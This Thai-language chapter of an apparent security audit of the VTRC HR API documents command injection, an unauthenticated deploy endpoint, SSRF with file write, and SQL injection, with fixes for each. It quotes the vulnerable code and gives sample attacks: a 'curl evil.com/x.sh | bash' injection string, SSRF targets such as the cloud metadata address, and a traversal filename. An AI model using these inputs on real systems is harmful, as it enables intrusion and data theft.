Skip to content

10.6 · Injection + RCE

บทนี้ catalog ช่องโหว่ injection ทั้งหมดที่พบ — command injection ผ่าน execSync, SQL injection ใน statLog.js, และ SSRF + arbitrary file write ใน Conicle proxy เป็นหมวดที่มี impact รุนแรงที่สุดเพราะนำไปสู่ RCE ได้


Injection vector map

User input → ? → Code execution

              ├──▶ shell string (execSync)        → command injection → RCE
              ├──▶ SQL string concatenation       → SQL injection → data exfiltration
              ├──▶ outbound HTTP URL (axios)      → SSRF → internal access
              └──▶ file path (path.resolve)       → path traversal → file read/write

VTRC มีทั้ง 4 vector — บทนี้ cover 3 อันแรก (path traversal อยู่ในบท 9.7)


1 · Command injection ผ่าน qpdf execSync (Critical × 5)

PDF encryption ใช้ qpdf CLI ผ่าน execSync โดย interpolate ค่าจาก DB เข้าไปใน shell string โดยไม่ escape

8:8:vtrc-api/api/src/routes.js
import { execSync } from 'child_process'
73:75:vtrc-api/api/src/routes.js
                                let cmd = `qpdf --encrypt ${allData.passwordPDF} ${allData.passwordPDF} 40 -- ${allData.pathfilePDF}/${allData.file}1.pdf ${allData.pathfilePDF}/${allData.file}.pdf && rm ${allData.pathfilePDF}/${allData.file}1.pdf`
                                try {
                                    execSync(cmd);

template literal ${...} ทั้ง 4 ตัว (passwordPDF, pathfilePDF, file, passwordPDF ซ้ำ) มาจาก DB row ที่ lookup ด้วย URL params ถ้าค่าใน DB มี shell metacharacter (;, &&, `, $(), |) มันจะถูก shell interpret เป็น command แยก

5 endpoints ที่มี pattern เดียวกัน

EndpointLineSource ของ interpolated value
GET /readfile/prs/:year/:month/:pid/:empcode/:device/:timestamp/:hashroutes.js:73-75DB lookup by :empcode + :pid
GET /tax/:year/:month/:pid/:empcode/:device/:timestamp/:hashroutes.js:120-122DB lookup, passwordPDF = identityCard
GET /tax6month/...routes.js:227-229DB lookup, same shape
GET /taxyears/...routes.js:277-279DB lookup, same shape
GET /salarycert/:pid/:empcode/:device/:profileKey/:documentType/:timestamproutes.js:355-357DB lookup, passwordPDF = detail.identityCard

Exploit scenario

PDF encryption password derive มาจาก identityCard (Thai national ID 13 หลัก) ของ employee ปกติแล้ว identityCard คือตัวเลขล้วน — แต่

  • ถ้ามี data entry bug ที่ใส่ whitespace เข้าไป ("1234567890123 ") shell จะ split argument
  • ถ้า HR master data ถูก poison โดย insider ที่ใส่ "123; curl evil.com/x.sh | bash #" ใน field ที่ map ไป identityCard → RCE ทันที
  • ถ้ามี SQL injection อื่น (เช่น statLog ด้านล่าง) ที่เขียน identityCard ใน DB → second-order RCE

Authentication ของ endpoints

endpoint เหล่านี้ตรวจแค่ timestamp freshness (3600s window) + hash path segment — ไม่ได้ verify Bearer JWT โดยตรง ถ้า hash construction ใช้ algorithm ที่ predictable (หรือ derive จากค่าที่ attacker รู้) endpoint จะเข้าถึงได้โดย unauthenticated

วิธีแก้

javascript
// ไม่ดี — shell string interpolation
execSync(`qpdf --encrypt ${password} ${password} 40 -- ${input} ${output}`)

// ดี — execFile กับ arg array (no shell)
import { execFile } from 'child_process'
execFile('qpdf', [
  '--encrypt', password, password, '40',
  '--', inputPath, outputPath
], (err) => { /* ... */ })

ใน Go target ใช้ os/exec กับ []string args — เป็น arg slicing โดย design ไม่มี shell เลย


2 · /webdeployment unauthenticated RCE (Critical)

975:984:vtrc-api/api/src/routes.js
    app.use('/webdeployment', async function (req, res) {
        try {
            let output = execSync("vtrc-update-uat-loadtest")
            log.info(log.logTextFormat("INFO", 'Method:GET | Route:/webdeployment', 'Test deploy by itself.', output))
            res.send("Success")
        } catch (err) {
            log.error(log.logTextFormat('ERROR', `Method:GET | Route:/webdeployment`, 'ERROR', (err.stack)))
            res.sendStatus(500)
        }
    })

🔴 Criticalapp.use('/webdeployment', ...) mount บนทุก HTTP method โดย ไม่มี authentication check เลย

  • vtrc-update-uat-loadtest เป็น executable บน PATH
  • ถ้า attacker เขียนไฟล์ได้ที่ directory ใด ๆ บน container PATH → RCE ทันที
  • ถ้า script นั้น mutable (เช่น mount จาก volume ที่ไม่ read-only) → modify script = RCE
  • แม้ไม่มี PATH poisoning ก็เป็น DoS — trigger load-test/deploy ไม่จำกัดครั้ง
  • app.use mount บนทุก sub-path ด้วย (/webdeployment/foo ก็ trigger)

วิธีแกะ

  • ลบ endpoint ออก
  • ใช้ CI/CD pipeline trigger แทน HTTP endpoint
  • ถ้าจำเป็นต้องมี ใช้ webhook secret + restrict เฉพาะ internal CIDR

3 · SSRF + arbitrary file write ใน Conicle proxy (Critical)

920:951:vtrc-api/api/src/routes.js
    app.get(`${API_PREFIX_PATH}/conicle/getFileFromUrl`, async function (req, res, next) {
        const sessionID = req.query.session_id;
        const url = req.query.url;
        ...
            var options = {
                'method': 'GET',
                'responseType': 'stream',
                'url': `${url}`,
                'headers': {
                    'Cookie': `sessionid=${sessionID};`
                }
            };
            const result = await axios(options).then(response => {
                return new Promise(async (resolve, reject) => {
                    ...
                    const filePath = path.resolve(process.env.PWD, 'storage/prs/');
                    const file = `${filePath}/${fileName.toString()}`;
                    try {
                        await pipeline(response.data, fs.createWriteStream(`${file}`))

🔴 Criticalreq.query.url ส่งตรงเข้า outbound axios.get โดยไม่ validate

SSRF vectors

URL ที่ attacker ส่งผลลัพธ์
http://169.254.169.254/computeMetadata/v1/GCP/AWS metadata service → เอา SA token
http://vtrc-database:3306probe internal service
http://vtrc-redis-db:6379probe Redis (ยิ่งถ้า no-auth)
http://localhost:8093/เข้า phpMyAdmin internal
file:///etc/passwd(ขึ้น axios config — บางเวอร์ชัน block file://)

Arbitrary file write

filename มาจาก Content-Disposition header ของ remote server — ที่ attacker ควบคุมได้เมื่อ SSRF ไปที่เซิร์ฟเวอร์ของตัวเอง ถ้าตั้ง Content-Disposition: attachment; filename="../../tmp/evil.sh" path.resolve จะลงนอก storage/prs/

Authentication

endpoint นี้ใช้ ${API_PREFIX_PATH} prefix ซึ่งอาจมี auth middleware แต่ไม่ชัดเจนใน code — ต้อง verify ก่อนสรุป

วิธีแกะ

  • URL allow-list (เฉพาะ domain ที่ trusted)
  • Block 127.0.0.0/8, 10.0.0.0/8, 169.254.169.254, ::1 และ internal CIDR
  • Validate filename ที่เขียน — normalize แล้ว verify ว่ายังอยู่ใน storage/prs/ (ใช้ path.relative + check ..)

4 · SQL injection ใน statLog.js (Critical)

22:28:vtrc-api/api/src/lib/controllers/statLog/statLog.js
  let empCodeData = "";
  for(var i = 0; i < logEventActiveData.length; i++) {
    empCodeData += "'"+logEventActiveData[i].param+"'";
    if(i != logEventActiveData.length - 1){
      empCodeData += ', '
    }
  }
36:43:vtrc-api/api/src/lib/controllers/statLog/statLog.js
  let query = `
        SELECT param, createdAt 
        FROM Users 
        WHERE param IN (${empCodeData}) 
        ORDER BY param ASC
    `;

  let activatedDate = await Models.db2.query(query, { replacements: { empCodeData }, type: QueryTypes.SELECT })

🔴 CriticalempCodeData สร้างโดย concat ' + value + ' โดยตรง ถ้า value มี ' SQL string literal จะ break

logEventActiveData มาจาก axios POST ไป ${END_POINT_LOG_EVENT}/log-event-api/api/v1/logEventActive (บรรทัด 19) — second-order injection ถ้า upstream service ถูก compromise หรือ log มี data ที่ contain quote

Pattern เดียวกันซ้ำ 6 ครั้งในไฟล์เดียว

LinePattern
36-43Active SELECT
74-78Active INSERT
112-119Activated SELECT
150-154Activated INSERT
188-195Usage SELECT
226-230Usage INSERT

replacements arg ไม่ทำงาน

42:42:vtrc-api/api/src/lib/controllers/statLog/statLog.js
  let activatedDate = await Models.db2.query(query, { replacements: { empCodeData }, type: QueryTypes.SELECT })

replacements: { empCodeData } ส่งไปแต่ query string ไม่มี :empCodeData placeholder — ทำให้ replacements ไม่ถูก bind เป็น false security

db2 schema

Models.db2 เป็น connection ไป MSSQL dbHRMI_Center (ดู Volume 8.1) — เก็บ HR data (IdentityCard, salary, organization) injection ที่นี่ = exfiltration + tampering ข้อมูล HR ทั้งหมด

วิธีแกะ

javascript
// ไม่ดี — string concat
let query = `WHERE param IN (${empCodeData})`

// ดี — named placeholder + array
let query = `WHERE param IN (:empCodes)`
await Models.db2.query(query, {
  replacements: { empCodes: logEventActiveData.map(d => d.param) },
  type: QueryTypes.SELECT
})

5 · SQL injection แบบ defensive hazard ใน withdraw/hospital.js

357:381:vtrc-api/api/src/lib/controllers/withdraw/hospital.js
    let query = `
    select
      ${selected}
    from
      WDHospitals wh
    left join Sickness s On
      wh.sicknessId = s.sicknessId
    WHERE
      wh.isHistory = 0
      AND wh.status = 'APPROVE'
  `
    let replacements = {}
    if (args.searchKeyword) {
      query += ` and (`;
      for (let [index, item] of selected.entries()) {

        if (index)
          query += ` or ${item} like :searchKeyword `;
        if (!index)
          query += ` ${item} like :searchKeyword `;
      }
      query += `  ) `;
      replacements.searchKeyword = `%${args.searchKeyword}%`
    }
    const result = await Models.db.query(query, { replacements, type: QueryTypes.SELECT })

🟢 Medium${selected} และ ${item} interpolate column name array

  • วันนี้ปลอดภัยselected เป็น literal array ที่ define ที่บรรทัด 340-356
  • พรุ่งนี้อันตราย — ถ้ามีคนแก้ให้ feed selected จาก args จะกลายเป็น column-name injection

:searchKeyword ใช้ replacements ถูกต้อง — ไม่ใช่ปัญหา

วิธีแกะ

  • Validate selected กับ allow-list constant ก่อน interpolate
  • หรือใช้ Sequelize Attributes API แทน raw SQL

6 · Raw queries อื่น ๆ ที่ปลอดภัย

ตรวจทุก Models.db.query(...) / Models.db2.query(...) ใน codebase — ส่วนใหญ่ใช้ :placeholder + replacements ถูกต้อง

12:12:vtrc-api/api/src/lib/repositories/withdraw/delegate.js
    return Models.db.query(`select docType, fromEmpCode, toEmpCode, isActive, startDate, endDate from Delegates where toEmpCode = :empCode and isActive = 1 and  now() BETWEEN startDate AND endDate`, { replacements: { empCode }, type: QueryTypes.SELECT })

ไฟล์ที่ตรวจแล้วปลอดภัย — repositories/profile/profile.js, repositories/hrmi/hrmiLeave.js, repositories/masterData/masterDropdown.js, logEvent/trxActivity.js, controllers/hrmi/hrmi.js, controllers/study/studyEducationFeeV2.js

centralize-api ใช้ TypeORM parameter binding — ปลอดภัย มี outlier ที่ตั้งชื่อตัวแปรไม่ดี

181:183:centralize-api/src/modules/employee/employee.service.ts
      return this.entityManager.query(fuckQuery, [
        query.sourceDB,
        query.orgCode,

variable ชื่อ fuckQuery เป็น code hygiene issue (แต่ binding ถูกต้อง)


ตารารางสรุปช่องโหว่ในบทนี้

#ปัญหาSeverityFile:lineImpact
1qpdf execSync injection🔴 Criticalroutes.js:73,120,227,277,355RCE × 5 endpoints
2/webdeployment RCE🔴 Criticalroutes.js:975-984Unauthenticated RCE
3Conicle SSRF + file write🔴 Criticalroutes.js:920-951Internal access + write
4statLog SQL injection🔴 CriticalstatLog.js:22-43 + 5 จุดอื่นDB exfiltration (db2)
5withdraw hospital column injection hazard🟢 Mediumwithdraw/hospital.js:357-381Defensive
6fuckQuery variable name🟢 Lowemployee.service.ts:181Hygiene

อ่านต่อ → 9.7 File upload + path traversal